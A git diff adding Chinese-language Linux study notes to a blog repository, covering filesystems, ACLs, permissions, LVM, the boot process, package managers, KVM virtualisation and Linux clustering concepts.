||||
- …
|
||||
- 交换分区(swap)
|
||||
|
||||
## inode 和 block 概述
|
||||
|
||||
> 文件是存储在硬盘上的,硬盘的最小存储单位叫做扇区sector,每个扇区存储512字节。操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个块block。这种由多个扇区组成的块,是文件存取的最小单位。块的大小,最常见的是4KB,即连续八个sector组成一个block。
|
||||
>
|
||||
> 文件数据存储在块中,那么还必须找到一个地方存储文件的元信息,比如文件的创建者、文件的创建日期、文件的大小等等。这种存储文件元信息的区域就叫做inode,中文译名为索引节点,也叫i节点。因此,一个文件必须占用一个inode,但至少占用一个block。
|
||||
|
||||
- 元信息 → inode
|
||||
- 数据 → block
|
||||
|
||||
### inode
|
||||
|
||||
> - inode表包括ext2,ext3或ext4文件系统上的所有文件列表
|
||||
|
||||
- inode(索引节点)时表的入口,包括文件信息(元数据)
|
||||
- 文件类型,许可权限,UID,GID
|
||||
- 链接数量(指向该文件的路径数目)
|
||||
- 文件大小和可变的时间戳
|
||||
- 文件数据在磁盘上的块指针
|
||||
- 文件的其他数据
|
||||
|
||||

|
||||
|
||||
## EXT3/EXT4文件系统之日志的功能
|
||||
|
||||
- 日志的作用
|
||||
- 在系统崩溃后,通过扫描日志文件就可以把文回复到一致的状态
|
||||
|
||||
### 三种日志模式
|
||||
|
||||
> - 完整数据模式(Full Data)
|
||||
|
||||
- 预定模式(Ordered)
|
||||
- 写回模式(WriteBack)
|
||||
|
||||
### 磁盘配额(quota)
|
||||
|
||||
> - 在内核中实现配额
|
||||
|
||||
- 在单个文件系统上实现
|
||||
|
||||
- 针对每个用户或组具有单独的策略
|
||||
|
||||
- 对块(blocks)或节点(inodes)的数量进行限制
|
||||
- 可以实现软限制或硬限制
|
||||
|
||||
- 分区**mount**选项: usrquota, grpquota
|
||||
|
||||
- 初始化数据库:
|
||||
|
||||
```
|
||||
quotacheck -cugm /filesystem
|
||||
```
|
||||
|
||||
### 为用户配额
|
||||
|
||||
> - 实现方法
|
||||
> - 启用和停止Perez: quotaon, quotaoff
|
||||
> - 直接修改配置:edquota, username
|
||||
|
||||
- 从Shell设置:
|
||||
|
||||
```
|
||||
setquota username 4096 5120 40 50 /foo
|
||||
```
|
||||
|
||||
- 定义模板用户
|
||||
|
||||
```
|
||||
edquota -p user1 user2
|
||||
```
|
||||
|
||||
### 配额状态报告
|
||||
|
||||
> - 用户审查: quota
|
||||
|
||||
- 配额总览: requota
|
||||
|
||||
## 访问控制列表(ACL)
|
||||
|
||||
- **ACL的定义及作用**
|
||||
- **设置ACLs**
|
||||
|
||||
### ACLs
|
||||
|
||||
> - ACLs全称Access control lists(访问控制列表)
|
||||
> - 用于对文件或者目录作做更精细控制
|
||||
|
||||
- 主要通过三个方面控制资源
|
||||
|
||||
- 拥有者
|
||||
- 拥有组
|
||||
- mask
|
||||
|
||||
- 命令:
|
||||
|
||||
```
|
||||
setfacl -m/x[修改/删除] u/g/m/d[拥有者/拥有组/mask掩码/默认权限]:name file|directory
|
||||
|
||||
setfacl -m u:gandolf:rwx file|directory
|
||||
setfacl -m g:anzgul:rw file|directory
|
||||
setfacl -m m::rwx file|directory
|
||||
setfacl -m d:u:frodo:rw directory
|
||||
setfacl -x u:samwise file|directory
|
||||
```
|
||||
|
||||
- 使用mount选项实现
|
||||
|
||||
```
|
||||
mount -o acl /mountpoint
|
||||
```
|
||||
|
||||
- 在安装期间设置文件系统
|
||||
|
||||
```
|
||||
tunefs -l /dev/sda1 | grep options
|
||||
```
|
||||
|
||||
### 硬链接和软链接
|
||||
|
||||
#### 硬链接
|
||||
|
||||
命令
|
||||
|
||||
- **创建硬链接**
|
||||
|
||||
```
|
||||
ln filename [linkname]
|
||||
```
|
||||
|
||||

|
||||
|
||||
> - 只要还有一个链接存在,文件就存在
|
||||
|
||||
- 当链接数为零时,文件被删除
|
||||
- 不能跨硬盘分区
|
||||
|
||||
#### 软链接
|
||||
|
||||
命令
|
||||
|
||||
```
|
||||
ln -s filename linkname
|
||||
```
|
||||
|
||||
## 高级权限
|
||||
|
||||
- suid
|
||||
- sgid
|
||||
- sticky bit
|
||||
|
||||

|
||||
|
||||
### 含义
|
||||
|
||||
> - 在文件上的含义
|
||||
> - suid: 命令运行时具有命令所有者拥权限,不是命令的执行者
|
||||
> - sgid: 命令运行时具有命令所在组权限的合并
|
||||
|
||||
- 在目录上面的含义
|
||||
- sgid: 在带有sgid为设置的目录下创建的文件又目录的组的权限的累加
|
||||
- sticky bit: 带有sticky bit设置的目录,下面的文件只能被锁又这或者root用户删除,无论目录的写权限是啊如何设置的
|
||||
|
||||
| 权限 | 描述 | 数字表示 |
|
||||
| ---------- | -------------------------------------- | ------------------------------------------- |
|
||||
| drwsr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 755 高级权限是 4 完整权限是 4755 |
|
||||
| drwSr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 655 高级权限是 4 完整权限是 4655 |
|
||||
| drwxrwsr-x | 基本权限是 rwxrwxr-x 高级权限是 sgid | 基本权限是 775 高级权限是 2 完整权限是 2775 |
|
||||
| drwxrwSr-x | 基本权限是 rwxrw-r-x 高级权限是 sgid | 基本权限是 765 高级权限是 2 完整权限是 2765 |
|
||||
| drwxrwxrwt | 基本权限是 rwxrwxrwx 高级权限是 sticky | 基本权限是 777 高级权限是 1 完整权限是 1777 |
|
||||
|
||||
### 符号法
|
||||
|
||||
> - 语法
|
||||
>
|
||||
> ```
|
||||
> chmod [-R] mode file
|
||||
> ```
|
||||
|
||||
- mode(模式)
|
||||
|
||||
- u,g或者o表示文件所属用户,组以及其他用户
|
||||
- - 或者 - 表示允许或者禁止
|
||||
- s和t表示高级权限
|
||||
|
||||
- 示例:
|
||||
|
||||
```
|
||||
u+s:设置的是suid
|
||||
g+s:设置的是sgid
|
||||
o+t:设置的是sticky bit
|
||||
```
|
||||
|
||||
### 数字法
|
||||
|
||||
> - 权限通过累加的方式来计算:
|
||||
> - 4(suid) 2(sgid) 1(sticky)
|
||||
|
||||
- 示例
|
||||
- chmod 4775 file
|
||||
|
||||
## 储存高级
|
||||
|
||||
### GTP(GIUD Partition Table): 全局唯一标识磁盘分区表
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### GPT分区工具**parted**
|
||||
|
||||
#### LVM
|
||||
|
||||
> - LVM全称 Logical Volume Manager(逻辑券管理器)
|
||||
|
||||
- 为了便于操作卷,包括重定义文件系统的大小,额定义的抽象层
|
||||
- 允许在多个五路设备上重新组织文件系统
|
||||
- 设备被认定为物理卷(PV)
|
||||
- 一个或多个物理卷可以用于创建成一个卷组(VG)
|
||||
- 卷组由固定大小的物理区域(PhysicalExten,PE)定义
|
||||
- 逻辑卷在卷组上创建按,并由PE组成
|
||||
- 文件系统创建在逻辑卷之上
|
||||
|
||||
#### LVM工作模式
|
||||
|
||||
> - 非条带化(线性)
|
||||
|
||||
- 条带化
|
||||
- 镜像
|
||||
- 快照
|
||||
|
||||
### 调整逻辑卷大小
|
||||
|
||||
> - 扩展卷
|
||||
> - Ivextend可以扩展逻辑卷
|
||||
> - resize2fs可以在联机或脱机状态下扩展ext4文件系统
|
||||
|
||||
- 收缩卷
|
||||
- 必须在脱机状态下实施( umount )
|
||||
- 需要先进行文件系统校验( e2fsck )
|
||||
- 先收缩文件系统性( resize2fs )
|
||||
- 最后,lvreduce可用于收缩卷
|
||||
|
||||
## 图形化
|
||||
|
||||
### X Window又叫做X11或X
|
||||
|
||||
> - 1987年X的第11版发行,即X11
|
||||
|
||||
- 是基于网络的显示协议,提供了窗口功能,包含建立图形用户界面的标准工具和协议
|
||||
- X Window是Linux的图形子系统
|
||||
- 开发X Window的团体:
|
||||
- XFree86
|
||||
- X.org
|
||||
- Xorg是红帽公司、普华公司用在X Window系统中的特定版本
|
||||
|
||||
### X Window的组成
|
||||
|
||||
> - 服务端
|
||||
|
||||
- 客户端
|
||||
|
||||

|
||||
|
||||
### 桌面环境
|
||||
|
||||
> - 在X图形系统基础上,桌面环境为计算机提供完全的图形用户界面(GUI)
|
||||
|
||||
- 提供桌面环境解决方案的团体:
|
||||
- GNOME
|
||||
- KDE
|
||||
- xfce4
|
||||
- XDM
|
||||
- …
|
||||
|
||||
> - **GUI**
|
||||
|
||||
- X Window + Window Manager + Display Manager
|
||||
- 配置文件
|
||||
- /etc/X11/xorg.conf
|
||||
- X -configure
|
||||
|
||||
# 进程,线程,LWP
|
||||
|
||||
> - 进程是资源管理的最小单元;
|
||||
|
||||
- 线程是程序执行的最小单元。
|
||||
- 轻量级进程(LWP)是建立在内核之上并由内核支持的用户线程,它是内核线程的高度抽象,每一个轻量级进程都与一个特定的内核线程关联。内核线程只能由内核管理并像普通进程一样被调度
|
||||
|
||||
## 操作系的启动过程
|
||||
|
||||
### 1,第一阶段:硬件引导
|
||||
|
||||

|
||||
|
||||
> - 备份:
|
||||
> - dd if=/dev/sda of= /tmp/mbr. bak bs=512 count= 1
|
||||
> - dd if=/dev/sda of= /tmp/mbr. bak bs =446 count=1
|
||||
> - dd if=/tmp/mbr.bak of=/dev/sda bs=512 count=1
|
||||
> - dd if= /tmp/mbr .bak of= /dev/sda bs= 512 count=1
|
||||
|
||||
- 生成bootloader
|
||||
- grub-install /dev/sda
|
||||
|
||||
### 2,第二阶段:加载管理启动程序
|
||||
|
||||

|
||||
|
||||
> - /boot/grub/grub.conf
|
||||
|
||||
- 最小需求:
|
||||
- title xxx
|
||||
- root (hdX,Y)
|
||||
- kernel /vmlinuz-version ro root=根文件系统名称.
|
||||
- Kernel包含的文件
|
||||
- /boot/vmlinuz -version
|
||||
- /boot/initramfs-version.img
|
||||
- /lib/modules/
|
||||
- initrd /initramfs-version.img
|
||||
|
||||
### 3,第三阶段: 加载内核,并挂载根文件系统
|
||||
|
||||
#### 内核初始化
|
||||
|
||||
> - 启动期间内核功能
|
||||
> - 设备检测
|
||||
> - 设备驱动初始化
|
||||
> - 以只读方式装载根文件系统.
|
||||
> - 调入最初的进程( init )
|
||||
|
||||
### 4,第四阶段: Sys V init初始化
|
||||
|
||||
> - /etc/init/rcS.conf
|
||||
|
||||
- /etc/rc.d/rc.sysinit
|
||||
- 重要的任务包括:
|
||||
- 激活udev和selinux
|
||||
- 设置/etc/sysctl.conf中定义的核心参数
|
||||
- 设置主机名
|
||||
- 启用交换分区
|
||||
- 根文件系统检查并且重装加载
|
||||
- 激活RAID和LVM设备
|
||||
- 启用磁盘限额管理
|
||||
- 检查并加载其它文件系统
|
||||
- 清除过期的锁和PID文件
|
||||
- /etc/inittab
|
||||
- /etc/rc.d/rc[0-6].d
|
||||
- /etc/init/control-alt-delete.conf
|
||||
- /etc/init/tty.conf
|
||||
- /etc/init/serial.conf
|
||||
- /etc/init/prefdm.conf
|
||||
|
||||
### 5,第五阶段: 完成启动
|
||||
|
||||
### 系统故障排除
|
||||
|
||||
#### Rescue
|
||||
|
||||
> - Rescue mode: 拯救模式,拯救系统
|
||||
> - 用于修复操作系统的一个平台
|
||||
> - 类似winPE,liveCD
|
||||
|
||||
- 进入Rescue mode:
|
||||
- 通过光盘引导,PXE引导,制作USB引导等
|
||||
|
||||
## 新Linux发行版
|
||||
|
||||
### GRUB2
|
||||
|
||||
> - 配置文件:
|
||||
> - /boot/grub2/grub.cfg或/boot/efi/EFI/redhat/grub.cfg
|
||||
|
||||
- 生成配置文件:
|
||||
- grub2-mkconfig -0 /boot/grub2/grub.cfg
|
||||
- 修改配置文件
|
||||
- /etc/default/grub
|
||||
- Grub2 特性L:
|
||||
- 支持Intel , AMD , PowerPC架构
|
||||
- 支持固件类型: BIOS , EFI/UEFI
|
||||
- 支持主引|导记录MBR和GPT
|
||||
- 支持非Linux文件系统:苹果的扩展分层文件系统( HFS+ )和微软的NTFS
|
||||
|
||||
### gdisk工具
|
||||
|
||||
支持GPT格式
|
||||
|
||||
## Archlinux
|
||||
|
||||
### 安装
|
||||
|
||||
安装指南
|
||||
|
||||
[官方wiki安装指南 ](https://wiki.archlinuxcn.org/wiki/安装指南)
|
||||
|
||||
### pacman包管理器
|
||||
|
||||
> - pacman是archlinux包管理器,负责安装、删除和升级软件。
|
||||
|
||||
- 它的最大亮点是将一-个简单的二进制包格式和易用的构建系统(ABS)结合。
|
||||
- pacman 软件仓库:
|
||||
- 在/etc/pacman.conf文件中定义使用的软件仓库,可以直接设置或从其它文件包含,只需要维护-一个列表。
|
||||
- [core]提供了最基本的包,安装盘也提供有
|
||||
- [extra]提供的是不适合[core] 库标准的软件包
|
||||
- [community]提供的是由TU认证的AUR包
|
||||
|
||||
### pacman常用命令
|
||||
|
||||
> - 安装指定的包:
|
||||
> - pacman -S package_name….
|
||||
> - pacman -S extra/package_name
|
||||
|
||||
- 安装包组:
|
||||
- pacman -S gnome
|
||||
- 升级软件包:
|
||||
- pacman -Syu
|
||||
- 查看那些包属于改组:
|
||||
- pacman -Sg gnome
|
||||
- 删除软件包,保留全部依赖关系:
|
||||
- pacman -R package_name
|
||||
- 删除软件包,仅保个别依赖关系:
|
||||
- pacman -Rs package_name
|
||||
- 删除软件包,不删除依赖该软件的其他程序:
|
||||
- pacman -Rdd package_name
|
||||
- 删除软件包,并删除所有依赖该软件的程序:
|
||||
- pacman -Rsc package_name
|
||||
- 查询可用的软件包:
|
||||
- pacman -Ss package_ name
|
||||
- 查询已安装的软件包:
|
||||
- pacman -Qs package_ name
|
||||
- 查询文件是由哪个软件包提供:
|
||||
- pacman -Qo filename
|
||||
- 查询软件包信息:
|
||||
- pacman -Si package_ name
|
||||
- 查询已安装软件包所包含的文件:
|
||||
- pacman -QI package name
|
||||
|
||||
## 服务管理(systemd)
|
||||
|
||||
> **systemd** 是一个 Linux 系统基础组件的集合,提供了一个系统和服务管理器,运行为 PID 1 并负责启动其它程序。功能包括:支持并行化任务;同时采用 socket 式与 D-Bus 总线式启用服务;按需启动守护进程(daemon);利用 Linux 的 cgroups 监视进程;支持快照和系统恢复;维护挂载点和自动挂载点;各服务间基于依赖关系进行精密控制。systemd 支持 SysV 和 LSB 初始脚本,可以替代 sysvinit。除此之外,功能还包括日志进程、控制基础系统配置,维护登陆用户列表以及系统账户、运行时目录和设置,可以运行容器和虚拟机,可以简单的管理网络配置、网络时间同步、日志转发和名称解析等。
|
||||
|
||||
更多有关[systemd ](https://wiki.archlinuxcn.org/wiki/Systemd)的详细介绍.
|
||||
|
||||
## Ubuntu
|
||||
|
||||
**ubuntu是基于Debian GNU/Linux,由全球化的专业开发团队(Canonical Ltd)打造的开源GNU/Linux操作系统,发行周期为6个月。**
|
||||
|
||||
### ubuntu设计的目标
|
||||
|
||||
**ubuntu的目标是更多地的以用户为本以及桌面应用**
|
||||
|
||||
### Ubuntu风格
|
||||
|
||||
> - ubuntu提供的最新的、同时又相当稳定的主要由自由
|
||||
> 软件,附带一部分当今比较流行的第三方软件构建而成的
|
||||
> 操作系统
|
||||
|
||||
- ubuntu对GNU/Linux的普及特别是桌面普及作出了巨大贡献
|
||||
|
||||
### Ubuntu 系统衍生版本
|
||||
|
||||

|
||||
|
||||
### Ubuntu安装
|
||||
|
||||
略
|
||||
|
||||
### Ubuntu包管理器
|
||||
|
||||
ubuntu派生自Debian,所以使用相同的包管理与仓库工具
|
||||
|
||||
#### dpkg (Debian Package Management System)
|
||||
|
||||
**ubuntu/Debian下的二进制软件包通常是以.deb格式发布的,使用dpkg进行软件管理,如安装、删除、查询等功能**
|
||||
|
||||
> - 安装软件:
|
||||
>
|
||||
> ```bash
|
||||
> dpkg -i packagename.deb
|
||||
> ```
|
||||
|
||||
- 删除软件:
|
||||
|
||||
```bash
|
||||
dpkg -r packagename
|
||||
```
|
||||
|
||||
- 查询软件包信息:
|
||||
|
||||
```bash
|
||||
dpkg –info packafename.deb
|
||||
dpkg –status packagename
|
||||
```
|
||||
|
||||
- 查询软件包所含文件
|
||||
|
||||
```bash
|
||||
dpkg –listfiles packagename
|
||||
dpkg –contents packagename.deb
|
||||
```
|
||||
|
||||
- 查询文件归属
|
||||
|
||||
```bash
|
||||
dpkg –search filename
|
||||
```
|
||||
|
||||
- 查询系统中的包
|
||||
|
||||
```bash
|
||||
dpkg –l
|
||||
```
|
||||
|
||||
#### apt (Advanced Packaging Tool)
|
||||
|
||||
**apt是ubuntu/debian及其派生发行版的软件包管理器,可以自动下载,配置,安装二进制或者源代码格式的软件包**
|
||||
|
||||
> - 安装软件
|
||||
>
|
||||
> ```bash
|
||||
> apt-get install package
|
||||
> ```
|
||||
|
||||
- 删除软件
|
||||
|
||||
```bash
|
||||
apt-get remove package
|
||||
```
|
||||
|
||||
- 查询软件包信息
|
||||
|
||||
```bash
|
||||
apt-cache show package
|
||||
```
|
||||
|
||||
- 查询文件归属
|
||||
|
||||
```bash
|
||||
apt-file search filename
|
||||
```
|
||||
|
||||
- 查询软件包所含文件
|
||||
|
||||
```bash
|
||||
apt-file list package
|
||||
```
|
||||
|
||||
- 查询系统中的包
|
||||
|
||||
```bash
|
||||
apt-cache pkgnames
|
||||
```
|
||||
|
||||
### apt前端程序
|
||||
|
||||
aptitude: apt 的高级的字符和命令行前端
|
||||
aynaptic: 图形界面的apt前端
|
||||
dselect: 使用菜单界面的包管理工具
|
||||
gnome-apt: 图形界面的apt前端
|
||||
|
||||
### PPA (Personal Package Archives)
|
||||
|
||||
**PPA是ubuntu的私人软件仓库,允许用户上传原码包,由launchpad编译并发布作为apt的仓库**
|
||||
|
||||
#### 命令行添加PPA
|
||||
|
||||
```bash
|
||||
sudo add-apt-repository ppa:user/ppa-name
|
||||
sudo apt-get update
|
||||
sudo apt-get install package
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### 命令行删除PPA
|
||||
|
||||
```bash
|
||||
sudo add-apt-repository –remove ppa:user/ppa-name
|
||||
```
|
||||
|
||||
1071
src/content/posts/cloud_linux_3.md
Normal file
1071
src/content/posts/cloud_linux_3.md
Normal file
File diff suppressed because it is too large
Load Diff
153
src/content/posts/cloud_linux_4.md
Normal file
153
src/content/posts/cloud_linux_4.md
Normal file
@ -0,0 +1,153 @@
|
||||
---
|
||||
title: 云计算 - Linux开源虚拟化KVM
|
||||
published: 2023-04-19
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg'
|
||||
tags: [云计算, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 虚拟化概述
|
||||
|
||||
### 虚拟化的定义
|
||||
|
||||
> - 在计算技术中, 虚拟化意味着创建设备或资源的虚拟版本,如服务器、存储设备、网络或者操作系统等等..
|
||||
|
||||
- 虚拟化技术
|
||||
- 系统虚拟化
|
||||
- 这种虚拟化通常表现为在单一系统上运行多个操作系统
|
||||
- 这些虚拟操作系统同时运行,每个操作系统又是相互独立
|
||||
- 存储虚拟化
|
||||
- 网络虚拟化
|
||||
- GPU虚拟化
|
||||
- 软件虚拟化
|
||||
- 硬件支持虚拟化
|
||||
- 纯软件仿真
|
||||
- 通过模拟完整的硬件环境来虚拟化来宾平台。
|
||||
- 模拟X86、ARM、PowerPC等多种CPU
|
||||
- 效率比较低
|
||||
- 产品或方案
|
||||
- QEMU、Bochs、 PearPC
|
||||
|
||||
### 虚拟化层翻译
|
||||
|
||||
> - 多数的虚拟化而采用虚拟机管理程序Hypervisor
|
||||
|
||||
- Hypervisor是一个软件层或子系统
|
||||
- 也称为VMM ( Virtual Machine Monitor ,虚拟机监控器)
|
||||
- 允许多种操作系统在相同的物理系统中运行
|
||||
- 控制硬件并向来宾操作系统提供访问底层硬件的途径
|
||||
- 向来宾操作系统提供虚拟化的硬件
|
||||
|
||||

|
||||
|
||||
#### 无硬件辅助的全虚拟化
|
||||
|
||||
> - Full Virtualization without Hardware Assist
|
||||
|
||||
- 基于二进制翻译的全虚拟化
|
||||
- Full Virtualization with Binary Translation
|
||||
- Hypervisor运行在Ring 0
|
||||
- Guest OS运行在Ring 1
|
||||
- 机制:异常、捕获、翻译
|
||||
- 示例:
|
||||
- VMware Workstation
|
||||
- QEMU
|
||||
- VirtualPC
|
||||
|
||||
#### 半虚拟化Para virtualization
|
||||
|
||||
> - 也称为:超虚拟化、操作系统辅助虚拟化
|
||||
|
||||
- Hypervisor运行Ring 0
|
||||
- Guest OS不能直接运行在Ring 0 , 需要对Kernel进行修改,将运行在Ring 0上的,指令转为调用Hypervisor
|
||||
- Guest OS.上的APP运行在Ring 3
|
||||
- 示例:Xen
|
||||
|
||||
#### 硬件辅助的全虚拟化
|
||||
|
||||
> - Full Virtualization with Hardware Assist
|
||||
|
||||
- Intel VT和AMD-V创建一个 新的Ring -1单独给Hypervisor使用
|
||||
- Guest OS可以直接使用Ring 0而无需修改
|
||||
- 示例:
|
||||
- VMware ESXi
|
||||
- Microsoft Hyper-V
|
||||
- Xen3.0
|
||||
- KVM
|
||||
|
||||
### LXC和Docker
|
||||
|
||||
> - 一种轻量级/操作系统虚拟化方式,由Linux内核支持
|
||||
|
||||
- 起源: chroot系统调用,对当前程序及其子进程改变根目录
|
||||
- 优势:
|
||||
- 更快速的交付和部署
|
||||
- 更高效的虚拟化
|
||||
- 更轻松的迁移和扩展
|
||||
- 更简单的管理
|
||||
|
||||
| 特性 | 容器 | 虚拟机 |
|
||||
| ---------- | ------------------ | ---------- |
|
||||
| 启动 | 秒级 | 分钟级 |
|
||||
| 硬盘使用 | 般为MB | 般为GB |
|
||||
| 性能 | 接近原生 | 弱于 |
|
||||
| 系统支持量 | 单机支持上千个容器 | 一般几十个 |
|
||||
|
||||
## KVM安装
|
||||
|
||||
> - CPU必须支持虚拟化技术,在BIOS设置为启动
|
||||
|
||||
- 目前,多数服务器基础桌面计算机均处理启用状态.
|
||||
|
||||
> - “嵌套”式实验环境
|
||||
> - 在虚拟机中再做虚拟化
|
||||
|
||||
- VMware嵌套虚拟化
|
||||
- 产品: Workstation、 Player、 ESXi
|
||||
- 支持: ESXi、 Hyper-V、 KVM、Xen
|
||||
- KVM嵌套虚拟化
|
||||
- 支持: ESXi、Hyper-V、 KVM、Xen
|
||||
|
||||

|
||||
|
||||
### 实验环境准备
|
||||
|
||||
> - “嵌套” 式实验环境
|
||||
> - VMware Workstation Player或VMware Workstation
|
||||
> - 创建虚拟机,在此虚拟机上安装KVM
|
||||
|
||||
|
||||
|
||||
// TODO: 待补充
|
||||
|
||||
### KVM的远程管理
|
||||
|
||||
> - ssh
|
||||
|
||||
- VNC
|
||||
- X-Windows
|
||||
|
||||
### KVM三种网络模式
|
||||
|
||||
> Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。
|
||||
|
||||
#### Bridged(桥接模式)
|
||||
|
||||
**什么是桥接模式?桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。在桥接的作用下,类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机ip地址需要与主机在同一个网段,如果需要联网,则网关与DNS需要与主机网卡一致。**
|
||||
|
||||
#### NAT(地址转换模式)
|
||||
|
||||
**刚刚我们说到,如果你的网络ip资源紧缺,但是你又希望你的虚拟机能够联网,这时候NAT模式是最好的选择。NAT模式借助虚拟NAT设备和虚拟DHCP服务器,使得虚拟机可以联网。在NAT模式中,主机网卡直接与虚拟NAT设备相连,然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上,这样就实现了虚拟机联网。**
|
||||
|
||||
#### Host-Only(仅主机模式)
|
||||
|
||||
**Host-Only模式其实就是NAT模式去除了虚拟NAT设备,然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的,Host-Only模式将虚拟机与外网隔开,使得虚拟机成为一个独立的系统,只与主机相互通讯**
|
||||
|
||||
> - 桥接模式:自动生成的IP地址会随着主机的IP随时变化。
|
||||
|
||||
- NAT模式:下虚拟机的IP地址一旦生成,就不会改变了。
|
||||
163
src/content/posts/cloud_linux_5.md
Normal file
163
src/content/posts/cloud_linux_5.md
Normal file
@ -0,0 +1,163 @@
|
||||
---
|
||||
title: 云计算 - Linux集群
|
||||
published: 2023-05-18
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg'
|
||||
tags: [云计算, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 概述
|
||||
|
||||
> - 群集基础
|
||||
|
||||
- [Linux群集概述](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump0)
|
||||
- pacemaker+ corosync+ pcS
|
||||
- 演示:无共享存储的Web群集构建
|
||||
- 演示:基于NFS共享存储的Web群集构建
|
||||
- 使用Linux-IO构建iSCSI存储
|
||||
- 演示:基于SAN共享存储的MySQL群集构建
|
||||
- DRBD
|
||||
- 演示:基于DRBD的MySQL群集构建
|
||||
- GFS2
|
||||
- 演示:基于DRBD+ GFS2的Active/Active的Web群集构建
|
||||
|
||||
## Linux群集概述
|
||||
|
||||
### 什么是群集?
|
||||
|
||||
> 集群是将-组计算机和存储设备组成在一起,作为一个整体系统来提供用户访问
|
||||
> 集群中计算机共同来提供:
|
||||
> \* 分担进程的负载
|
||||
> \* 自动恢复集群中的一个或多个组件的失败
|
||||
|
||||
#### 群集术语
|
||||
|
||||
| 术语 | 描述 |
|
||||
| -------------- | ------------------------------------------------------------ |
|
||||
| 节点 | 参与群集的服务器 |
|
||||
| 资源 | 托管在集群中设备或服务,被应用程序或最终用户直接或间接地访问 |
|
||||
| 故障转移群集 | 一种高可用性集群类型。 在一一个时刻 ,资源只能单个服务器所拥有 |
|
||||
| 负载平衡 | 负荷由由多个节点分担处理的集群类型 |
|
||||
| 容错 | 集群的一个关键组件,能够在硬件或软件出现问题时还能继续运作 |
|
||||
| 计划停机时间 | 由于更新或其他维护操作,应用程序不可用的时间 |
|
||||
| 非计划停机时间 | 由于组件失败,关键应用程序不可用的时间 |
|
||||
|
||||
#### 群集类型
|
||||
|
||||
| 群集类型 | 描述 |
|
||||
| ------------------- | -------------------------------------------------------- |
|
||||
| 高可用(HA)群集 | 如果正在运行服务器遭遇失败,由其他的节点提供备份 |
|
||||
| 负载平衡群集 | 将传入的网络请求分布到各个节点进行处理 |
|
||||
| 高性能计算(HPC)群集 | 计算任务分布在多个节点 |
|
||||
| 网格计算群集 | 独立的节点完成的被分派来任务或集群中其余部分分解的来工作 |
|
||||
|
||||
#### 群集实现
|
||||
|
||||
| 群集分类 | 描述 |
|
||||
| ------------ | ------------------------------------------------------------ |
|
||||
| 共享设备群集 | 在节点之间共享数据和其他资源 如果两个系统必须访问相同的数据,这些数据必须从磁盘读两次或从一个系统复制到另外一系统 |
|
||||
| 无共享群集 | 无共享群集在每个节点有单独的资源 一个时刻仅有一个节点访问特定的资源 失败时,其他节点会取得对象的所有权 |
|
||||
|
||||
#### 群集优势
|
||||
|
||||
> - [可用性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump1)(Availability)
|
||||
> - 集群增加的处于可操作状态的时间百分比
|
||||
> 可伸缩性(Scalability)
|
||||
> - 群集通过根据需要逐步增加资源,来满足所有处理能力或可用性要求
|
||||
> [可管理性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump2)(Manageability)
|
||||
> - 集群使配置、更新和添加等管理更加容易
|
||||
|
||||
### 什么是可用性?
|
||||
|
||||
> 通过以下方式提高系统的可用性百分比:
|
||||
> \* 增加平均失效到达时间(MTTF mean time to failure)
|
||||
> \* 减少平均恢复时间(MTTR mean time to recover)
|
||||
|
||||
| 可用性等级 | 每年宕机时间 |
|
||||
| ------------- | ------------ |
|
||||
| 2个9(99%) | 3.7天 |
|
||||
| 3个9(99.9%) | 8.8小时 |
|
||||
| 4个9(99.99%) | 53分钟 |
|
||||
| 5个9(99.999%) | 5.3分钟 |
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 什么是可扩展性?
|
||||
|
||||
> 提高可扩展性的方式有:
|
||||
|
||||
- Scaling up
|
||||
- 向一个节点添加更多的资源,如内存、CPU和磁盘
|
||||
- Scaling out
|
||||
- 添加更多的节点以分担负荷
|
||||
- Consolidation
|
||||
- 通过将多个服务器负载迁移到一个服务器或少量的高配置的计算机,让少量的服务器承担更多的负荷。
|
||||
|
||||
### 什么是集群的可管理性?
|
||||
|
||||
> - 群集通过以下方式来提高和可管理性:
|
||||
|
||||
- 灾难恢复
|
||||
- 集群帮助应用程序的从灾难中进行恢复
|
||||
- 更新管理
|
||||
- 集群使应用程序、操作系统在升级更新时,仍然可用
|
||||
|
||||
### 微软SQL Server故障转移群集工作原理
|
||||
|
||||

|
||||
|
||||
### 网络负载平衡( NLB)群集
|
||||
|
||||
> - 为网络服务提供可扩展性
|
||||
> - 增强接收TCP和UDP流量的网络相关应用程序的可用性
|
||||
> - 包含所有活动节点
|
||||
> - 运行需要实现负荷平衡的基于IP的应用程序或服务副本,在每个节点保存所需的数据
|
||||
|
||||
### 什么是群集化的服务和资源?
|
||||
|
||||
> - 群集化的服务
|
||||
> - 安装在故障转移群集以实现高可用的服务或应用程序
|
||||
> - 在一个活动节点上,也可被移动到其它节点
|
||||
> - 资源
|
||||
> - 组成群集化服务的组件
|
||||
> - 在一个时间,只能运行在一个节点之 上
|
||||
> - 当一个节点失效时,可以被移动到别个一个节点
|
||||
> - 包含的组件有共享磁盘,主机名和IP地址等
|
||||
|
||||
